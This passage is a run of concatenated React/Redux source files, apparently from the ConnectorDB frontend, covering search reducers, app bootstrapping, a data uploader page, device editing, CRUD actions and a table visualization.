it("checks isString", function() {
expect(tc.isString(0.3)).toBe(false);
expect(tc.isString("-3453")).toBe(true);
expect(tc.isString("")).toBe(true);
});
it("checks isBool", function() {
expect(tc.isBool(0.3)).toBe(false);
expect(tc.isBool("true")).toBe(true);
expect(tc.isBool("")).toBe(false);
});
});
});
<file_sep>/*
This file defines all of the manipulations of redux state necessary to implement search functionality. Each page displayed
has its own search context, which is saved independently
*/
import { location, getCurrentPath } from "../util";
const DefaultInitialState = {
enabled: true,
text: "",
submitted: "", // The text that was submitted
autocomplete: [],
icon: "search",
hint: "Search",
error: ""
};
const InvalidState = {
...DefaultInitialState,
enabled: false,
icon: "error",
hint: "Search not Available"
};
export const UserSearchInitialState = {
...DefaultInitialState,
hint: "Search Devices"
};
export const DeviceSearchInitialState = {
...DefaultInitialState,
hint: "Search Streams"
};
export const StreamSearchInitialState = {
...DefaultInitialState,
icon: "keyboard_arrow_right",
hint: "Filter & Transform Data"
};
export const IndexSearchInitialState = DefaultInitialState;
export const DownlinkSearchInitialState = DefaultInitialState;
export const AnalysisSearchInitialState = StreamSearchInitialState;
export const UploaderSearchInitialState = StreamSearchInitialState;
function basicSearchReducer(state, action, atype) {
switch (atype) {
case "SET":
return {
...state,
text: action.value,
error: ""
};
case "SUBMIT":
return {
...state,
submitted: state.text
};
case "SETSUBMIT":
return {
...state,
submitted: action.value
};
case "SET_ERROR":
return {
...state,
error: action.value
};
case "SET_STATE":
return {
...state,
...action.value
};
}
return state;
}
export function userSearchReducer(state, action) {
let type = action.type;
type = type.substring("USER_VIEW_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function deviceSearchReducer(state, action) {
let type = action.type;
type = type.substring("DEVICE_VIEW_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function streamSearchReducer(state, action) {
let type = action.type;
type = type.substring("STREAM_VIEW_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function indexSearchReducer(state, action) {
let type = action.type;
type = type.substring("PAGE_INDEX_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function downlinkSearchReducer(state, action) {
let type = action.type;
type = type.substring("DOWNLINK_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function analysisSearchReducer(state, action) {
let type = action.type;
type = type.substring("ANALYSIS_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
export function uploaderSearchReducer(state, action) {
let type = action.type;
type = type.substring("UPLOADER_SEARCH_".length, type.length);
return basicSearchReducer(state, action, type);
}
// getSearchActionContext returns the necessary context to an action, including a prefix to
// use, to get search working with current page. Remember that each page has its own search context.
export function getSearchActionContext(action) {
let actionPrefix = "INVALID_SEARCH_ACTION"; // This action won't be caught by any reducers
let p = getCurrentPath();
let path = p.split("/");
if (p.length == 0) {
// We can add the specific page hashes here
switch (window.location.hash) {
case "#analysis":
actionPrefix = "ANALYSIS_SEARCH_";
break;
case "#downlinks":
actionPrefix = "DOWNLINK_SEARCH_";
break;
case "#upload":
actionPrefix = "UPLOADER_SEARCH_";
break;
default:
actionPrefix = "PAGE_INDEX_SEARCH_";
}
} else if (path.length == 1 && window.location.hash === "") {
actionPrefix = "USER_VIEW_SEARCH_";
} else if (path.length == 2 && window.location.hash === "") {
actionPrefix = "DEVICE_VIEW_SEARCH_";
} else if (path.length == 3 && window.location.hash === "") {
actionPrefix = "STREAM_VIEW_SEARCH_";
}
action.name = p; // Gives the specific device to use
action.type = actionPrefix + action.type;
return action;
}
// getSearchState returns the state of search given a location
export function getSearchState(state) {
let p = getCurrentPath();
let path = p.split("/");
if (p.length == 0) {
// Later we can add the specific page hashes here
switch (window.location.hash) {
case "#analysis":
return state.pages.analysis.search;
case "#downlinks":
return state.pages.downlinks.search;
case "#upload":
return state.pages.uploader.search;
}
return state.pages.index.search;
} else if (path.length == 1 && window.location.hash === "") {
if (state.user[p] === undefined) {
return UserSearchInitialState;
}
return state.user[p].view.search;
} else if (path.length == 2 && window.location.hash === "") {
if (state.device[p] === undefined) {
return DeviceSearchInitialState;
}
return state.device[p].view.search;
} else if (path.length == 3 && window.location.hash === "") {
if (state.stream[p] === undefined) {
return StreamSearchInitialState;
}
return state.stream[p].view.search;
}
return InvalidState;
}
<file_sep>import { UserSearchInitialState, userSearchReducer } from "./search";
export const UserViewInitialState = {
expanded: true,
hidden: true,
search: UserSearchInitialState
};
export default function userViewReducer(state, action) {
if (action.type.startsWith("USER_VIEW_SEARCH_"))
return {
...state,
search: userSearchReducer(state.search, action)
};
switch (action.type) {
case "USER_VIEW_EXPANDED":
return {
...state,
expanded: action.value
};
case "USER_VIEW_HIDDEN":
return {
...state,
hidden: action.value
};
}
return state;
}
<file_sep>/*
The starting point of the ConnectorDB frontend. This file does the following:
- prepares the ServiceWorker (the serviceWorker is in ../app/serviceworker.js. It is
not compiled into this bundle)
- prepares redux, adds middlewares, and syncs it with the browser history (this is needed so that the router works
correctly on the back button - since it is an SPA, we don't refresh the page when navigating)
- registers all visualizations. This is done simply by importing datatypes/register.js
- loads the app context into the store and into the state. The store holds cached users/devices/streams,
and the state is the redux state. The context is passed in as json from ConnectorDB, and includes the
current user, device, stream (if applicable), as well as the querying user and device.
After the setup, we are running in React. The main routing component that is invoked from this file is in App.js.
Look there to see how stuff is handled.
*/
import React from "react";
import { render } from "react-dom";
import { createStore, combineReducers, applyMiddleware, compose } from "redux";
import { Provider } from "react-redux";
import thunk from "redux-thunk";
import createHistory from "history/createBrowserHistory";
import { Router, Route } from "react-router";
import {
ConnectedRouter,
routerReducer,
routerMiddleware
} from "react-router-redux";
import { createLogger } from "redux-logger";
import createSagaMiddleware from "redux-saga";
import sagas from "./sagas";
import { reducers } from "./reducers/index";
import App from "./App";
import { showPage } from "./actions";
import storage from "./storage";
import { setApp, getIPs } from "./util";
// Register all of the available creators/inputs/views. All of ConnectorDB's visualizations are here.
import "./datatypes/register";
export var cache = storage;
import injectTapEventPlugin from "react-tap-event-plugin";
// Needed for onTouchTap
// http://stackoverflow.com/a/34015469/988941
injectTapEventPlugin();
// Can always use some help!
console.log(
"%cHi! You can follow along in the source code at https://github.com/connectordb/connectordb-frontend - pull requests are welcome!",
"font-weight: bold;"
);
// Set up the ServiceWorker. The javascript is available in ../app/js/serviceworker.js
// http://www.html5rocks.com/en/tutorials/service-worker/introduction/
if ("serviceWorker" in navigator) {
if (process.env.NODE_ENV == "debug") {
console.log("%cRunning in debug mode", "font-weight: bold;");
// If we are in debug mode, delete the ServiceWorkers that might be registered
// https://stackoverflow.com/questions/33704791/how-do-i-uninstall-a-service-worker
navigator.serviceWorker.getRegistrations().then(function(registrations) {
for (let registration of registrations) {
console.log("Unregistering ServiceWorker");
registration.unregister();
}
});
} else {
navigator.serviceWorker
.register("/serviceworker.js", { scope: "/" })
.then(function(registration) {
// Registration was successful
console.log("ServiceWorker has scope: ", registration.scope);
})
.catch(function(err) {
// registration failed :(
console.log("ServiceWorker registration failed: ", err);
});
}
}
// Set up the Saga middleware, which will be used for dispatching actions.
const sagaMiddleware = createSagaMiddleware();
// The history
const history = createHistory();
// Set up the browser history redux middleware and the optional chrome dev tools extension for redux
// https://github.com/zalmoxisus/redux-devtools-extension/commit/6c146a2e16da79fefdc0e3e33f188d4ee6667341
let appMiddleware = applyMiddleware(
thunk,
routerMiddleware(history),
sagaMiddleware,
createLogger()
);
let finalCreateStore = compose(
appMiddleware,
window.devToolsExtension ? window.devToolsExtension() : f => f
)(createStore);
export var store = finalCreateStore(
combineReducers({
...reducers,
routing: routerReducer
})
);
sagaMiddleware.run(sagas);
// Makes the store available to outside this class
setApp(store);
// run renders the app. The context is passed in as json directly from ConnectorDB.
// The context has a timestamp, so the pages can be cached (have old context), and there
// shouldn't be a reason to worry
export function run(context) {
// add the context to storage
storage.addContext(context);
// add context to state
store.dispatch({ type: "LOAD_CONTEXT", value: context });
render(
<Provider store={store}>
<ConnectedRouter history={history}>
<App />
</ConnectedRouter>
</Provider>,
document.getElementById("app")
);
}
// We now asynchronously load PipeScript, which is used extensively for data analysis of downloaded data.
// While ConnectorDB has pipescript built-in, several visualizations perform further transforms of queried data.
// Instead of querying again, the transforms are done entirely client-side.
/*
Webpack has serious problems with the new version of PipeScript when building in production mode.
We therefore just load pipescript directly as an external library, from the html template.
TODO: Figure out wtf was wrong here...
require.ensure(["pipescript"], (p) => {
console.log("PipeScript Loaded");
store.dispatch({ type: 'PIPESCRIPT', value: require("pipescript") });
});
*/
// Finally, we correct the SiteURL if it is invalid.
// The issue stems from the fact that SiteURL is frequently localhost,
// but we might want to connect an android app to ConnectorDB to sync. We need
// a clever way to set up the URL if it is vague so that it can be accessed.
// We first parse the URL
// https://gist.github.com/jlong/2428561
let urlparser = document.createElement("a");
urlparser.href = SiteURL;
function isLocalhost(s) {
return s === "" || s === "localhost" || s === "127.0.0.1" || s === "::1";
}
if (isLocalhost(urlparser.hostname)) {
if (!isLocalhost(window.location.hostname)) {
// Use window.location value
SiteURL = window.location.protocol + "//" + window.location.host;
} else {
// We don't have an alternative in current location. We use an WebRTC hack to get the local IP.
// This is because if there is no setup, it means that the user is probably running ConnectorDB
// desktop version - so we want the local network IP.
getIPs(function(ip) {
SiteURL =
window.location.protocol + "//" + ip + ":" + window.location.port;
});
}
}
<file_sep>import userReducer from "./user";
import deviceReducer from "./device";
import streamReducer from "./stream";
import siteReducer from "./site";
import pageReducer from "./pages";
export const reducers = {
user: userReducer,
device: deviceReducer,
stream: streamReducer,
site: siteReducer,
pages: pageReducer
};
<file_sep>import React, { Component } from "react";
import { connect } from "react-redux";
import { bindActionCreators } from "redux";
import "codemirror/lib/codemirror.css";
import "codemirror/theme/monokai.css";
import CodeMirror from "react-codemirror";
import { Card, CardText, CardHeader } from "material-ui/Card";
import RaisedButton from "material-ui/RaisedButton";
import Checkbox from "material-ui/Checkbox";
import LinearProgress from "material-ui/LinearProgress";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import TextField from "material-ui/TextField";
import ExpandableCard from "../components/ExpandableCard";
import AvatarIcon from "../components/AvatarIcon";
import TransformInput from "../components/TransformInput";
import StreamInput from "../components/StreamInput";
import * as Actions from "../actions/uploader";
import { go } from "../actions";
import DataView from "../components/DataView";
import SearchCard from "../components/SearchCard";
import { setSearchSubmit, setSearchState } from "../actions";
// We want to clear the textbox on click, so we need to know the text we can clear
import { UploaderPageInitialState } from "../reducers/uploaderPage";
const Part1Dropdown = ({ state, setState }) => (
<div className="row">
<div className="col-sm-12">
<p>
ConnectorDB will try to parse your data as CSV with header or JSON, but sometimes it will need help parsing the timestamp.
Here, you can optionally set the field name of the timestamp and the
{" "}
<a href="https://momentjs.com/docs/#/parsing/string-format/">
timestamp format
</a>
.
</p>
</div>
<div className="col-sm-6">
<h5>Timestamp Field</h5>
<TextField
hintText="timestamp"
style={{ width: "100%" }}
value={state.fieldname}
onChange={e => setState({ fieldname: e.target.value })}
/>
</div>
<div className="col-sm-6">
<h5>Timestamp Format</h5>
<TextField
hintText="MM-DD-YYYY"
style={{ width: "100%" }}
value={state.timeformat}
onChange={e => setState({ timeformat: e.target.value })}
/>
</div>
</div>
);
const Part1 = ({ state, actions }) => (
<ExpandableCard
width="expandable-half"
state={state.part1}
setState={actions.setPart1}
title={"Step 1"}
subtitle={"Add your Data"}
avatar={<AvatarIcon name="paste" iconsrc="material:content_paste" />}
icons={[
<IconButton
key="clearupload"
onTouchTap={actions.clear}
tooltip="Clear Data"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
clear_all
</FontIcon>
</IconButton>
]}
dropdown={<Part1Dropdown state={state.part1} setState={actions.setPart1} />}
>
<CodeMirror
value={state.part1.rawdata}
options={{
lineWrapping: true,
mode: "text/plain"
}}
onChange={txt => actions.setPart1({ rawdata: txt })}
onFocusChange={f =>
(f
? state.part1.rawdata === UploaderPageInitialState.part1.rawdata
? actions.setPart1({ rawdata: "" })
: null
: state.part1.rawdata.trim() === ""
? actions.setPart1({
rawdata: UploaderPageInitialState.part1.rawdata
})
: null)}
/>
</ExpandableCard>
);
const Part2 = ({ state, actions }) => (
<ExpandableCard
width="expandable-half"
state={state.part2}
setState={actions.setPart2}
title={"Step 2"}
subtitle={"Check if ConnectorDB can parse the data"}
avatar={<AvatarIcon name="editdd" iconsrc="material:mode_edit" />}
>
<h5>
Transform{state.part2.error !== ""
? <p
style={{
color: "red",
float: "right"
}}
>
{state.part2.error}
</p>
: <p
style={{
float: "right"
}}
>
Learn about transforms
<a href="https://connectordb.io/docs/pipescript/">{" "}here.</a>
</p>}
</h5>
<TransformInput
transform={state.part2.transform}
onChange={txt => actions.setPart2({ transform: txt })}
/>
<div style={{ textAlign: "center" }}>
<RaisedButton
backgroundColor="#f3f3f3"
style={{ marginTop: 10 }}
label="Process Data"
onTouchTap={actions.process}
/>
</div>
</ExpandableCard>
);
const Part3 = ({ state, actions }) => (
<ExpandableCard
width="expandable-half"
state={state.part3}
setState={actions.setPart3}
title={"Step 3"}
subtitle={"Upload the Data"}
avatar={<AvatarIcon name="ediy" iconsrc="material:publish" />}
>
<h5>Stream Name</h5>
<StreamInput
value={state.part3.stream}
onChange={txt => actions.setPart3({ stream: txt })}
/>
<Checkbox
label="Create stream if it doesn't exist"
checked={state.part3.create}
onCheck={(e, c) => actions.setPart3({ create: c })}
/>
<Checkbox
label="Append data if stream exists"
checked={state.part3.overwrite}
onCheck={(e, c) => actions.setPart3({ overwrite: c })}
/>
<Checkbox
label="Ignore datapoints older than data in stream"
checked={state.part3.removeolder}
onCheck={(e, c) => actions.setPart3({ removeolder: c })}
/>
{state.part3.loading
? <LinearProgress
style={{ marginTop: 20, backgroundColor: "#e3e3e3" }}
mode={state.part3.percentdone == 0 ? "indeterminate" : "determinate"}
value={state.part3.percentdone}
/>
: <div style={{ textAlign: "center" }}>
<RaisedButton
backgroundColor="#f3f3f3"
style={{ marginTop: 10 }}
label="Upload"
onTouchTap={actions.upload}
/>
</div>}
{state.part3.error !== ""
? <p
style={{
color: "red",
textAlign: "center",
paddingTop: 10
}}
>
{state.part3.error}
</p>
: null}
</ExpandableCard>
);
const Render = ({ state, actions, go, transformError, clearTransform }) => (
<div>
{state.search.submitted != null && state.search.submitted != ""
? <SearchCard
title={state.search.submitted}
subtitle={"Transform applied to data"}
onClose={clearTransform}
/>
: null}
<DataView
data={state.data}
transform={state.search.submitted}
transformError={transformError}
>
<Part1 state={state} actions={actions} />
<Part2 state={state} actions={actions} />
<Part3 state={state} actions={actions} />
</DataView>
</div>
);
export default connect(
state => ({ state: state.pages.uploader, appstate: state }),
dispatch => ({
actions: bindActionCreators(Actions, dispatch),
go: v => dispatch(go(v)),
clearTransform: () => dispatch(setSearchSubmit("")),
transformError: txt => dispatch(setSearchState({ error: txt }))
})
)(Render);
<file_sep>// The IndexPage is the "insert" page where users are asked to manually insert Data
// such as their ratings/diaries/etc
import { IndexSearchInitialState, indexSearchReducer } from "./search";
export const IndexPageInitialState = {
search: IndexSearchInitialState
};
export default function indexPageReducer(state, action) {
if (action.type.startsWith("PAGE_INDEX_SEARCH_")) {
return {
...state,
search: indexSearchReducer(state.search, action)
};
}
/*
switch (action.type) {
case "PAGE_INDEX_SEARCH_"
}
*/
return state;
}
<file_sep>export const DeviceEditInitialState = {};
export default function deviceEditReducer(state, action) {
switch (action.type) {
case "DEVICE_EDIT_CLEAR":
return DeviceEditInitialState;
case "DEVICE_EDIT":
return {
...state,
...action.value
};
case "DEVICE_EDIT_NICKNAME":
return {
...state,
nickname: action.value
};
case "DEVICE_EDIT_DESCRIPTION":
return {
...state,
description: action.value
};
case "DEVICE_EDIT_PASSWORD":
return {
...state,
password: action.value
};
case "DEVICE_EDIT_PASSWORD2":
return {
...state,
password2: action.value
};
case "DEVICE_EDIT_ROLE":
return {
...state,
role: action.value
};
case "DEVICE_EDIT_PUBLIC":
return {
...state,
public: action.value
};
case "DEVICE_EDIT_APIKEY":
// The API key can be set or reset
let newval = {
...state
};
if (action.value) {
newval.apikey = "";
} else {
delete newval.apikey;
}
return newval;
case "DEVICE_EDIT_ENABLED":
return {
...state,
enabled: action.value
};
case "DEVICE_EDIT_VISIBLE":
return {
...state,
visible: action.value
};
}
return state;
}
<file_sep>// Actions are things that can happen... To make it happen, run store.dispatch(action())
// TODO: This needs MAJOR cleanup. It needs to be split up into multiple files in an actions
// folder, and needs documentation on where stuff is used.
import { push, goBack } from "react-router-redux";
import storage from "../storage";
import { getCurrentPath } from "../util";
import { StreamInputInitialState } from "../reducers/stream";
import { getSearchActionContext } from "../reducers/search";
// set the search bar text
export function setSearchText(text) {
return getSearchActionContext({ type: "SET", value: text });
}
// set the search bar submitted value
export function setSearchSubmit(text) {
return getSearchActionContext({ type: "SETSUBMIT", value: text });
}
// Allows to set values directly
export function setSearchState(val) {
return getSearchActionContext({ type: "SET_STATE", value: val });
}
// cancels an edit - and moves out of the edit screen
export function editCancel(type, path) {
return dispatch => {
dispatch({
type: type + "_EDIT_CLEAR",
name: path
});
dispatch(goBack());
};
}
// cancels a create - and moves out of the create screen
export function createCancel(type, type2, path) {
return dispatch => {
dispatch({
type: type + "_CREATE" + type2 + "_CLEAR",
name: path
});
dispatch(goBack());
};
}
export function go(loc) {
return dispatch => {
// When leaving user/device pages, we want to forget the search box contents.
// But before we do that, let's make sure we get the CURRENT text
let searchClear = setSearchText("");
dispatch(push("/" + loc));
/*
if (path.length == 1 || path.length == 2 ) {
dispatch(searchClear);
}
*/
// For now, we clear all searches on leave page
dispatch(searchClear);
};
}
// Show a message in the snack bar
export function showMessage(msg) {
return { type: "SHOW_STATUS", value: msg };
}
export function deleteObject(type, path) {
console.log("Deleting Object", type, path);
return dispatch => {
dispatch(showMessage("Deleting " + type + " '" + path + "'..."));
// If the object is a stream, reset the state
if (type === "stream") {
dispatch({ type: "STREAM_CLEAR_STATE", name: path });
}
storage
.del(path)
.then(result => {
if (result == "ok") {
dispatch(showMessage("Deleted " + type + " '" + path + "'..."));
// After the delete, go to the parent
let p = path.split("/");
switch (p.length) {
case 1:
dispatch(go(""));
break;
case 2:
dispatch(go(p[0]));
break;
case 3:
dispatch(go(p[0] + "/" + p[1]));
break;
}
} else {
dispatch(showMessage(result.msg));
}
})
.catch(err => {
console.log(err);
dispatch(showMessage("Failed to delete " + type + " '" + path + "''"));
});
};
}
export function createObject(ftype, type, path, object) {
console.log("Creating Object", ftype, type, path, object);
return dispatch => {
if (object.name == "") {
dispatch(showMessage("Must give a name"));
return;
}
if (object.name.toLowerCase() != object.name) {
dispatch(showMessage("name must be lowercase"));
return;
}
if (!/^[a-z0-9_]*$/.test(object.name)) {
dispatch(
showMessage("Name must not contain special characters or spaces")
);
return;
}
// If the object is a stream, reset the state
if (type === "stream") {
dispatch({ type: "STREAM_CLEAR_STATE", name: path });
}
storage
.create(path, object)
.then(result => {
if (result.ref === undefined) {
dispatch(
showMessage(
"Created " + type + " '" + path + "/" + object.name + "'"
)
);
dispatch(createCancel(ftype.toUpperCase(), type.toUpperCase(), path));
return;
}
dispatch(showMessage(result.msg));
})
.catch(err => {
console.log(err);
dispatch(
showMessage(
"Failed to create " + type + " '" + path + "/" + object.name + "''"
)
);
});
};
}
export function saveObject(type, path, object, changes) {
console.log("Saving Object", type, path, object, changes);
return dispatch => {
dispatch(showMessage("Saving " + type + " '" + path + "'..."));
// remove changes that are the same
changes = Object.assign({}, changes);
Object.keys(changes).forEach(key => {
if (object[key] !== undefined) {
if (object[key] == changes[key]) {
delete changes[key];
}
}
});
// Password is only defined if this is a user, this code will be ignored if not user
if (changes.password !== undefined) {
if (changes.password != <PASSWORD>) {
dispatch(showMessage("Passwords do not match"));
return;
}
if (changes.password == "") {
delete changes.password;
}
delete changes.password2;
}
if (Object.keys(changes).length == 0) {
dispatch(showMessage("Nothing changed"));
dispatch(editCancel(type.toUpperCase(), path));
return;
}
// If the object is a stream, reset the state
if (type === "stream") {
dispatch({ type: "STREAM_CLEAR_STATE", name: path });
}
// Finally, update the object
storage
.update(path, changes)
.then(result => {
if (result.ref === undefined) {
dispatch(showMessage("Saved " + type + " '" + path + "'"));
dispatch(editCancel(type.toUpperCase(), path));
return;
}
dispatch(showMessage(result.msg));
})
.catch(err => {
console.log(err);
dispatch(showMessage("Failed to save " + type + " '" + path + "''"));
});
};
}
export function dataInput(user, device, stream, timestamp, data, clearinput) {
return dispatch => {
storage
.insert(user.name, device.name, stream.name, timestamp, data)
.then(result => {
if (result.ref === undefined) {
if (clearinput != false) {
// Reset the input value
dispatch({
type: "STREAM_INPUT",
name: user.name + "/" + device.name + "/" + stream.name,
value: StreamInputInitialState
});
}
dispatch(
showMessage("Inserted: " + JSON.stringify(data).substring(0, 15))
);
return;
}
dispatch(showMessage(result.msg));
})
.catch(err => {
console.log(err);
dispatch(showMessage("Failed to insert:" + err.toString()));
});
};
}
export function query(user, device, stream, state) {
let path = user.name + "/" + device.name + "/" + stream.name;
console.log("Querying data for " + path, state);
return dispatch => {
if (state.bytime) {
var d = storage.cdb.timeStream(
user.name,
device.name,
stream.name,
state.t1,
state.t2,
state.limit,
state.transform
);
} else {
var d = storage.cdb.indexStream(
user.name,
device.name,
stream.name,
state.i1,
state.i2,
state.transform
);
}
d.then(result => {
if (result.ref !== undefined) {
dispatch({ type: "STREAM_VIEW_ERROR", name: path, value: result });
return;
}
dispatch({ type: "STREAM_VIEW_DATA", name: path, value: result });
}); /* .catch((err) => {
console.log(err);
});*/
};
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import {
Table,
TableBody,
TableHeader,
TableHeaderColumn,
TableRow,
TableRowColumn
} from "material-ui/Table";
import Subheader from "material-ui/Subheader";
import { go } from "../actions";
import TimeDifference from "../components/TimeDifference";
import ObjectCard from "../components/ObjectCard";
import ObjectList from "../components/ObjectList";
import { objectFilter } from "../util";
class UserView extends Component {
static propTypes = {
user: PropTypes.shape({ name: PropTypes.string.isRequired }).isRequired,
devarray: PropTypes.object.isRequired,
state: PropTypes.shape({ expanded: PropTypes.bool.isRequired }).isRequired,
onEditClick: PropTypes.func.isRequired,
onExpandClick: PropTypes.func.isRequired,
onAddClick: PropTypes.func.isRequired,
onDeviceClick: PropTypes.func.isRequired,
onHiddenClick: PropTypes.func.isRequired
};
render() {
let user = this.props.user;
let state = this.props.state;
let description = user.description === undefined ? "" : user.description;
let nickname = user.name;
if (user.nickname !== undefined && user.nickname != "") {
nickname = user.nickname;
}
return (
<div>
<ObjectCard
expanded={state.expanded}
onEditClick={this.props.onEditClick}
onExpandClick={this.props.onExpandClick}
style={{
textAlign: "left"
}}
object={user}
path={user.name}
>
<Table selectable={false}>
<TableHeader
enableSelectAll={false}
displaySelectAll={false}
adjustForCheckbox={false}
>
<TableRow>
<TableHeaderColumn>Email</TableHeaderColumn>
<TableHeaderColumn>Public</TableHeaderColumn>
<TableHeaderColumn>Role</TableHeaderColumn>
<TableHeaderColumn>Queried</TableHeaderColumn>
</TableRow>
</TableHeader>
<TableBody displayRowCheckbox={false}>
<TableRow>
<TableRowColumn>{user.email}</TableRowColumn>
<TableRowColumn>
{user.public ? "true" : "false"}
</TableRowColumn>
<TableRowColumn>{user.role}</TableRowColumn>
<TableRowColumn>
<TimeDifference timestamp={user.timestamp} />
</TableRowColumn>
</TableRow>
</TableBody>
</Table>
</ObjectCard>
<Subheader
style={{
marginTop: "20px"
}}
>
Devices
</Subheader>
<ObjectList
showHidden={!state.hidden}
onHiddenClick={this.props.onHiddenClick}
style={{
marginTop: "10px",
textAlign: "left"
}}
objects={objectFilter(state.search.text, this.props.devarray)}
addName="device"
onAddClick={this.props.onAddClick}
onSelect={this.props.onDeviceClick}
/>
</div>
);
}
}
export default connect(undefined, (dispatch, props) => ({
onEditClick: () => dispatch(go(props.user.name + "#edit")),
onExpandClick: val =>
dispatch({ type: "USER_VIEW_EXPANDED", name: props.user.name, value: val }),
onAddClick: () => dispatch(go(props.user.name + "#create")),
onDeviceClick: dev => dispatch(go(dev)),
onHiddenClick: v =>
dispatch({ type: "USER_VIEW_HIDDEN", name: props.user.name, value: v })
}))(UserView);
<file_sep>/*
Sagas are used to asynchronously execute actions upon events.
TODO: Up until now, most of ConnectorDB was built with actions hacked on wherever possible.
This led to a tough codebase, and a rather unpleasant difficulty of doing anything interesting.
With Saga, this difficulty is gone. Unfortunately, most of the core frontend code is still in the hacky format
used before saga. At some point, this code should be cleaned up and converted into sagas.
Since fixing old-but-working code is not as big a priority as getting the functionality working,
all more recent code uses newer coding practices and the knowledge gained from the downfalls of the old code.
That's why the codebase has inconsistent practices - with some code being almost entirely functional with sagas,
and other code being... not.
*/
import downlinkSaga from "./downlinks";
import analysisSaga from "./analysis";
import navigationSaga from "./navigation";
import uploaderSaga from "./uploader";
import streamSaga from "./stream";
export default function* sagas() {
yield [
downlinkSaga(),
analysisSaga(),
navigationSaga(),
uploaderSaga(),
streamSaga()
];
}
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import DataTable from "./DataTable";
import CSVView from "./CSVView";
import DataUpdater from "../components/DataUpdater";
import dropdownTransformDisplay from "../components/dropdownTransformDisplay";
import FontIcon from "material-ui/FontIcon";
import IconButton from "material-ui/IconButton";
import { addView } from "../../datatypes";
import { numeric } from "../typecheck";
class TableView extends Component {
static propTypes = {
data: PropTypes.arrayOf(PropTypes.object).isRequired,
state: PropTypes.object.isRequired
};
render() {
if (this.props.state.csv === undefined || this.props.state.csv === false) {
return <DataTable {...this.props} />;
}
return <CSVView {...this.props} />;
}
}
function getIcons(context) {
let resultarray = [];
if (context.state.csv) {
resultarray.push(
<IconButton
key="csv"
onTouchTap={() => context.setState({ csv: false })}
tooltip="view data table"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
view_list
</FontIcon>
</IconButton>
);
} else {
resultarray.push(
<IconButton
key="csv"
onTouchTap={() => context.setState({ csv: true })}
tooltip="view data as csv"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
view_headline
</FontIcon>
</IconButton>
);
if (context.state.allowtime) {
if (context.state.timeon) {
resultarray.push(
<IconButton
key="timer"
onTouchTap={() => context.setState({ timeon: false })}
tooltip="disble pretty printing duration"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
alarm_off
</FontIcon>
</IconButton>
);
} else {
resultarray.push(
<IconButton
key="timer"
onTouchTap={() => context.setState({ timeon: true })}
tooltip="view data as time duration"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
access_time
</FontIcon>
</IconButton>
);
}
}
if (context.data.length > 20) {
if (context.state.tableExpanded) {
resultarray.push(
<IconButton
key="tableExpanded"
onTouchTap={() => context.setState({ tableExpanded: false })}
tooltip="hide older datapoints"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
arrow_drop_up
</FontIcon>
</IconButton>
);
} else {
resultarray.push(
<IconButton
key="tableExpanded"
onTouchTap={() => context.setState({ tableExpanded: true })}
tooltip="view hidden datapoints"
>
<FontIcon className="material-icons" color="rgba(0,0,0,0.8)">
arrow_drop_down
</FontIcon>
</IconButton>
);
}
}
}
return resultarray;
}
function getTableView(allowtime) {
return {
key: "tableView",
component: TableView,
width: "expandable-half",
initialState: {
csv: false,
tableExpanded: false,
allowtime: allowtime,
timeon: false
},
title: context => {
if (context.state.csv === undefined || context.state.csv === false) {
return "Data";
}
return "Data CSV";
},
subtitle: "",
icons: getIcons
};
}
function getTransformedTableView(
transform,
key,
pretext,
description,
allowtime,
istime = false
) {
return {
key: key,
component: p => <TableView {...p} transform={transform} />,
width: "expandable-half",
initialState: {
csv: false,
tableExpanded: false,
allowtime: allowtime,
timeon: istime
},
title: context => {
if (context.state.csv === undefined || context.state.csv === false) {
return pretext;
}
return pretext + " CSV";
},
dropdown: dropdownTransformDisplay(description, transform),
subtitle: "",
icons: getIcons
};
}
// showTable determines whether the table should be shown for the given context
function showTable(context) {
if (context.data.length > 0) {
let n = numeric(context.data);
let t = [getTableView(n !== null && !n.allbool)];
if (n !== null && n.allbool) {
t.push(
getTransformedTableView(
n.key === "" ? "ttrue" : "$('" + n.key + "') | ttrue",
"ttruetable",
"Time True",
"Time that the stream spends in the true state",
true,
true
)
);
}
return t;
}
return null;
}
addView(showTable);
<file_sep>import React, { Component } from "react";
import PropTypes from "prop-types";
import { connect } from "react-redux";
import Checkbox from "material-ui/Checkbox";
import { editCancel, go, deleteObject, saveObject } from "../actions";
import ObjectEdit from "../components/ObjectEdit";
import RoleEditor from "../components/edit/RoleEditor";
import PublicEditor from "../components/edit/PublicEditor";
import EnabledEditor from "../components/edit/EnabledEditor";
import VisibleEditor from "../components/edit/VisibleEditor";
class DeviceEdit extends Component {
static propTypes = {
device: PropTypes.object.isRequired,
user: PropTypes.object.isRequired,
state: PropTypes.object.isRequired,
callbacks: PropTypes.object.isRequired,
roles: PropTypes.object.isRequired,
onCancel: PropTypes.func.isRequired,
onDelete: PropTypes.func.isRequired,
onSave: PropTypes.func.isRequired
};
render() {
let path = this.props.user.name + "/" + this.props.device.name;
let edits = this.props.state;
let device = this.props.device;
return (
<ObjectEdit
object={this.props.device}
path={path}
state={this.props.state}
objectLabel={"device"}
callbacks={this.props.callbacks}
onCancel={this.props.onCancel}
onSave={this.props.onSave}
onDelete={this.props.onDelete}
>
<PublicEditor
type="device"
public={edits.public !== undefined ? edits.public : device.public}
onChange={this.props.callbacks.publicChange}
/>
<EnabledEditor
type="device"
value={edits.enabled !== undefined ? edits.enabled : device.enabled}
onChange={this.props.callbacks.enabledChange}
/>
<VisibleEditor
type="device"
value={edits.visible !== undefined ? edits.visible : device.visible}
onChange={this.props.callbacks.visibleChange}
/>
<h3>API Key</h3>
<p>You can check the box below to reset this device's API key</p>
<Checkbox
